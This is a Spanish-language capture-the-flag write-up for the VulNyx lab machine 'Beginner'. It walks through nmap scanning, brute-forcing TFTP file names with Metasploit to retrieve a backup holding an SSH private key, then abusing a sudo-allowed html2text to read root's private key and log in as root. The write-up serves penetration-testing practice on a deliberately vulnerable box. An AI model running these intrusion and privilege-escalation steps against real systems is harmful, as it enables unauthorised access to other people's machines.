cd ~/blog

~/writeups/vulnyx/13-beginner.md

13 - Beginner

low Linux vulnyx 17-08-2024
Exposed TFTP backup-configSSH private key disclosuresudo html2text arbitrary file read
vulnyx.com

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.48
 nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.48
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 18:37 -04
Nmap scan report for 192.168.1.48
Host is up (0.00042s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds

Como los puertos TCP no ofrecen una vía clara, ampliamos la enumeración a UDP, donde encontramos un servicio TFTP:

 sudo nmap -sU --top-ports 100 -oN 03-udp.txt 192.168.1.48
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 23:30 -04
Nmap scan report for 192.168.1.48
Host is up (0.00031s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
MAC Address: 08:00:27:A5:7A:51 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 118.16 seconds

TFTP no ofrece listado de directorios, así que hacemos fuerza bruta de nombres de archivo comunes con el módulo tftpbrute de Metasploit, y damos con un backup-config:

msf6 auxiliary(scanner/tftp/tftpbrute) > set rhosts 192.168.1.48
msf6 auxiliary(scanner/tftp/tftpbrute) > run
[+] Found backup-config on 192.168.1.48

Lo descargamos:

 tftp 192.168.1.48
tftp> get backup-config

El archivo es un ZIP que contiene una clave id_rsa y un fichero de configuración SSH del que extraemos el nombre de usuario. Con ello accedemos como boris y obtenemos la primera flag:

 ssh boris@192.168.1.48 -i id_rsa
boris@beginner:~$

Para escalar privilegios, revisamos los permisos sudo:

boris@beginner:~$ sudo -l
Matching Defaults entries for boris on beginner:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User boris may run the following commands on beginner:
    (root) NOPASSWD: /usr/bin/html2text

Podemos ejecutar html2text como root. Aunque su propósito es convertir HTML a texto plano, abusamos de él como lector de archivos arbitrarios para volcar la clave privada SSH de root:

boris@beginner:~$ sudo /usr/bin/html2text /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----

Con esa clave nos conectamos directamente como root:

 ssh root@192.168.1.48 -i id_rsa_root
root@beginner:~#

Obtenemos la flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados